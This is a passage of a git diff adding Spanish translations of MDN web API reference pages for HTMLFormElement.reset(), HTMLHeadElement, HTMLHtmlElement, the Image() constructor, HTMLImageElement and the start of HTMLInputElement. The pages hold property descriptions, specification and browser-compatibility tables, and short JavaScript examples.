+ <dd><code>.encoding</code> gets/sets the content type of the <code>FORM</code> element.</dd>
+ <dt><a href="es/DOM/form.method">form.method</a></dt>
+ <dd><code>.method</code> obtiene/configura el método HTTP utilizado para enviar el formulario.</dd>
+ <dt><a href="es/DOM/form.target">form.target</a></dt>
+ <dd><code>.target</code> obtiene/configura el objetivo de la acción (i.e., the frame to render its output in).</dd>
+</dl>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<dl>
+ <dt><a href="es/DOM/form.submit">form.submit</a></dt>
+ <dd>submit() manda el formulario.</dd>
+ <dt><a href="es/DOM/form.reset">form.reset</a></dt>
+ <dd>reset() restaura el formulario, lo devuelve al estado inicial.</dd>
+</dl>
diff --git a/files/es/web/api/htmlformelement/reset/index.html b/files/es/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..43f3df8e37
--- /dev/null
+++ b/files/es/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,59 @@
+---
+title: HTMLFormElement.reset()
+slug: Web/API/HTMLFormElement/reset
+tags:
+  - API
+  - HTML DOM
+  - HTMLFormElement
+  - Method
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Referencia
+translation_of: Web/API/HTMLFormElement/reset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>El método <strong><code>HTMLFormElement.reset()</code></strong> restaura los elementos de un formulario a sus valores por defecto. Este método hace lo mismo que haciendo clic en el botón de restauración.</p>
+
+<p>Si un control del formulario (como el botón de restaurar) tiene el nombre o un id de <em>reset</em> enmascarará el método de restauración del formulario. No restaura otros atributos del campo, como el de <code>disabled</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Síntaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>HTMLFormElement</em>.reset()
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: js notranslate">document.getElementById('myform').reset();
+</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-form-reset', 'HTMLFormElement: reset')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.HTMLFormElement.reset")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("HTMLFormElement.submit()")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlheadelement/index.html b/files/es/web/api/htmlheadelement/index.html
new file mode 100644
index 0000000000..0327683cbe
--- /dev/null
+++ b/files/es/web/api/htmlheadelement/index.html
@@ -0,0 +1,72 @@
+---
+title: HTMLHeadElement
+slug: Web/API/HTMLHeadElement
+translation_of: Web/API/HTMLHeadElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La interfaz <strong><code>HTMLHeadElement</code></strong> contiene la información descriptiva, o metadata, para un documento. Este objeto hereda las propiedades y métodos descritos en la interfaz {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Hereda las propiedades del padre, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHeadElement.profile")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que representa las URI de uno o más perfiles de metadatos (separados por espacios en blanco).</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>No hay un método especifico; hereda los métodos del padre, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlheadelement", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Sin cambio desde {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-head-element", "HTMLHeadElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>La siguiente propiedad ha sido removida: <code>profile</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-77253168', 'HTMLHeadElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página es generada a partir de datos estructurados. Si desea contribuir con los datos, por favor consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud.</div>
+
+<p>{{Compat("api.HTMLHeadElement")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>El elemento HTML que implementa esta interfaz: {{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlhtmlelement/index.html b/files/es/web/api/htmlhtmlelement/index.html
new file mode 100644
index 0000000000..f079c9a07a
--- /dev/null
+++ b/files/es/web/api/htmlhtmlelement/index.html
@@ -0,0 +1,121 @@
+---
+title: HTMLHtmlElement
+slug: Web/API/HTMLHtmlElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Referencia
+translation_of: Web/API/HTMLHtmlElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>The <strong><code>HTMLHtmlElement</code></strong> interface serves as the root node for a given HTML document.  This object inherits the properties and methods described in the {{domxref("HTMLElement")}} interface.</p>
+
+<p>You can retrieve the <code>HTMLHtmlElement</code> object for a given document by reading the value of the {{domxref("document.documentElement")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLHtmlElement.version")}}  {{ obsolete_inline() }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the version of the HTML Document Type Definition (DTD) that governs this document. This property should not be used any more as it is non-conforming. Simply omit it.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-html-element", "HTMLHtmlElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Live specification, no change since last snapshot</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "semantics.html#the-html-element", "HTMLHtmlElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change since the last snapshot</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "semantics.html#the-html-element", "HTMLHtmlElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The <code>version</code> element has been removed, as it is non-conforming.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-33759296', 'HTMLHtmlElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Reflecting the element change in {{SpecName("HTML4.01")}}, the <code>version</code> property is now deprecated.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-33759296', 'HTMLHtmlElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("html")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlimageelement/image/index.html b/files/es/web/api/htmlimageelement/image/index.html
new file mode 100644
index 0000000000..7bf5d299b5
--- /dev/null
+++ b/files/es/web/api/htmlimageelement/image/index.html
@@ -0,0 +1,46 @@
+---
+title: Image()
+slug: Web/API/HTMLImageElement/Image
+translation_of: Web/API/HTMLImageElement/Image
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<h3 id="Constructor_del_elemento_de_Imagen">Constructor del elemento de Imagen</h3>
+
+<p><span style="line-height: 1.572;">Acepta dos parametros opcionales: </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">Image([unsigned long <em><strong>width</strong></em>, unsigned long <em><strong>height</strong></em>]</span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">)</span></p>
+
+<p>Devuelve un  <a href="/en-US/docs/Web/API/HTMLImageElement" style="line-height: 1.572;" title="en/DOM/HTMLImageElement">HTMLImageElement</a><span style="line-height: 1.572;"> instanciado  justo como</span><span style="line-height: 1.572;"> </span><code style="font-size: 14px;">document.createElement('img')</code><span style="line-height: 1.572;"> would.</span></p>
+
+<p><span style="line-height: 1.572;">Ejemplo:</span></p>
+
+<pre class="brush: js">var myImage = new Image(100, 200);
+myImage.src = 'picture.jpg';
+console.log(myImage);</pre>
+
+<div>Resultado:</div>
+
+<pre class="brush: html">&lt;img width="100" height="200" src="picture.jpg"&gt;
+</pre>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="http://www.w3.org/TR/html5/embedded-content-0.html#dom-image" hreflang="en" lang="en">HTML5<br>
+    <small>La definición del constructor de imagen, en esta especificación.</small></a></td>
+   <td><span class="spec-REC">Recommendación</span></td>
+   <td>Un constructor (con 2 parametros opcionales) han sido agregados.<br>
+    Las siguientes propiedades ahora son obsoletas: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br>
+    The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br>
+    Las siguientes propiedadeas ahora han sido agrgados: <code>crossorigin</code>,</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div> </div>
diff --git a/files/es/web/api/htmlimageelement/index.html b/files/es/web/api/htmlimageelement/index.html
new file mode 100644
index 0000000000..55c8a5e306
--- /dev/null
+++ b/files/es/web/api/htmlimageelement/index.html
@@ -0,0 +1,344 @@
+---
+title: HTMLImageElement
+slug: Web/API/HTMLImageElement
+tags:
+  - API
+  - HTML DOM
+  - Interfaz
+  - Reference
+translation_of: Web/API/HTMLImageElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La interfaz <strong><code>HTMLImageElement</code></strong> provee de propiedas especiales y métodos (más allá de las interfaces {{domxref("HTMLElement")}}, también tiene disponible la herencia) para manipular el diseño y la presentación de elementos {{HTMLElement("img")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Heredadas de su padre, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que indica el alineamiento de la imagen respecto al contexto que la rodea.</dd>
+ <dt>{{domxref("HTMLImageElement.alt")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("alt", "img")}}, indicando texto de respaldo a la imagen.</dd>
+ <dt>{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que indica el ancho del borde alrededor de la imagen. Este está desaprobado y debe usarse la propiedad CSS {{cssxref("border")}} en su lugar.</dd>
+ <dt>{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un {{domxref("Boolean")}} que es <code>true</code> si el navegador ha terminado de buscar la imagen, sea o no exitoso. También devuelve <code>true</code> si la imagen no tiene valor {{domxref("HTMLImageElement.src", "src")}}.</dd>
+ <dt>{{domxref("HTMLImageElement.crossOrigin")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} representa la configuración CORS para el elemento imagen. Ver <a href="/es/docs/Web/HTML/Atributos_de_configuracion_CORS">Atributos de configuración CORS</a> para más detalles.</dd>
+ <dt>{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("DOMString")}}</dd>
+ <dt>{{domxref("HTMLImageElement.height")}}</dt>
+ <dd>Es un <code>unsigned long</code> que refleja el atributo HTML {{htmlattrxref("height", "img")}}, indica el alto de la imagen en píxeles CSS.</dd>
+ <dt>{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}</dt>
+ <dd>Es un <code>long</code> que representa el espacio a izquierda y derecha de la imagen.</dd>
+ <dt>{{domxref("HTMLImageElement.isMap")}}</dt>
+ <dd>Es un {{domxref("Boolean")}} que refleja el atributo HTML {{htmlattrxref("ismap", "img")}}, indica que la imagen es parte del mapa de imagen del lado del servidor.</dd>
+ <dt>{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que representa la URI de una larga descripción de la imagen.</dd>
+ <dt>{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que referencia una copia de la imagen en mala calidad (pero más rápida cargando)</dd>
+ <dt>{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code>  que representa el alto intrínseco de la imagen en píxeles CSS, si está disponible, de otro modo, es 0.</dd>
+ <dt>{{domxref("HTMLImageElement.naturalWidth")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> que representa el ancho intrínseco de la imagen en píxeles CSS, si está disponible, de otro modo, es 0.</dd>
+ <dt>{{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("referrerpolicy", "img")}} indica la referencia a usar para buscar la imagen.</dd>
+ <dt>{{domxref("HTMLImageElement.src")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("src", "img")}} HTML attribute, contiene la URL completa de la imagen, incluido la base del URI</dd>
+ <dt>{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}}</dd>
+ <dt>{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("srcset", "img")}}, contiene una ista de imágenes candidatas, separadas por una coma (<code>',', U+002C COMMA</code>). Una imagen candidata es una URL seguida por <code>'w'</code> con el ancho, o una <code>'x'</code> seguida de la densidad del píxel.</dd>
+ <dt>{{domxref("HTMLImageElement.useMap")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que refleja el atributo HTML {{htmlattrxref("usemap", "img")}}, contiene una URL parcial del mapa del elemento.</dd>
+ <dt>{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}</dt>
+ <dd>Es un <code>long</code> que representa el espacio sobre y bajo la imagen.</dd>
+ <dt>{{domxref("HTMLImageElement.width")}}</dt>
+ <dd>Es un <code>unsigned long</code> que refleja el atributo HTML {{htmlattrxref("width", "img")}}, indica el ancho de la imagen en píxeles CSS.</dd>
+ <dt>{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un <code>long</code> que representa el hueco horizontal hasta la capa más cercana. Esta propiedad copia el comportamiento de Netscape 4.</dd>
+ <dt>{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Devuelve un <code>long</code> que representa el hueco vertical hasta la capa más cercana. Esta propiedad copia el comportamiento de Netscape 4.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Heredados de su padre, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.Image()", "Image()")}}</dt>
+ <dd>El constructor <code>Image()</code>, toma dos <code>unsigned long</code> opcionales, ancho y alto del recurso, crea una instacia de creates <code>HTMLImageElement</code> no insertada en el árbol DOM.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">var img1 = new Image(); // HTML5 Constructor
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // Uso DOM <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a>
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// Usando la primera imagen en el documento
+alert(document.images[0].src);
+</pre>
+
+<h2 id="Especificiaciones">Especificiaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especicifación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Añadida la propiedad <code>referrerPolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Añadidas propiedades <code>x</code> e <code>y</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Las siguientes propiedades han sido añadidas: <code>srcset</code>, <code>currentSrc</code> y <code>sizes</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Un constructor (con 2 parámetros opcionales) añadido. Las siguientes propiedades quedaron obsoletas: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, y <code>longdesc</code>. Las siguientes propiedades son ahora <code>unsigned long</code>, en lugar de <code>long</code>: <code>height</code>, y width.Las siguientes propiedades fueron añadidas: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, <code>y</code> <code>complete</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>La propiedad <code>lowSrc</code> fue eliminada.<br>
+    Las siguientes propiedades son ahora <code>long</code>, en lugar de <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, y <code>vspace</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegador">Compatibilidad con navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>21</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> e <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(42)}} [5]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> e <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>14<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrerPolicy</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42)}} [5]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Las propiedades <code>x</code> e <code>y</code> fueron eliminadas en Gecko 7.0 {{geckoRelease("7.0")}} pero reestablecidas en Gecko 14.0 {{geckoRelease("14.0")}} por razones de compatibilidad.</p>
+
+<p>[2] Esta característica está detras de la preferencia <code>dom.image.srcset.enabled</code>, por defecto <code>false</code>.</p>
+
+<p>[3] Esta característica está detras de la preferencia <code>dom.image.picture.enabled</code>, por defecto <code>false</code>.</p>
+
+<p>[4] IE reporta <code>false</code> para imágenes rotas.</p>
+
+<p>[5] Esta propiedad fue nombrada <code>referrer</code> desde Firefox 42 a 44.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>El elemento HTML implementa esta interfaz: {{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlinputelement/index.html b/files/es/web/api/htmlinputelement/index.html
new file mode 100644
index 0000000000..049ddd7942
--- /dev/null
+++ b/files/es/web/api/htmlinputelement/index.html
@@ -0,0 +1,673 @@
+---
+title: HTMLInputElement
+slug: Web/API/HTMLInputElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLInputElement
+  - Input
+  - Interface
+  - NeedsContent
+  - NeedsMarkupWork
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/HTMLInputElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La interface <strong><code>HTMLInputElement</code></strong> proporciona propiedades y métodos especiales para manipular las opciones, estructura y presentacion de los elementos {{HtmlElement("input")}}.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Properties" name="Properties">Propiedades</h2>
+
+<table class="standard-table">
+ <caption>Propiedades relacionadas al formulario padre</caption>
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>form </code>{{readonlyInline}}</td>
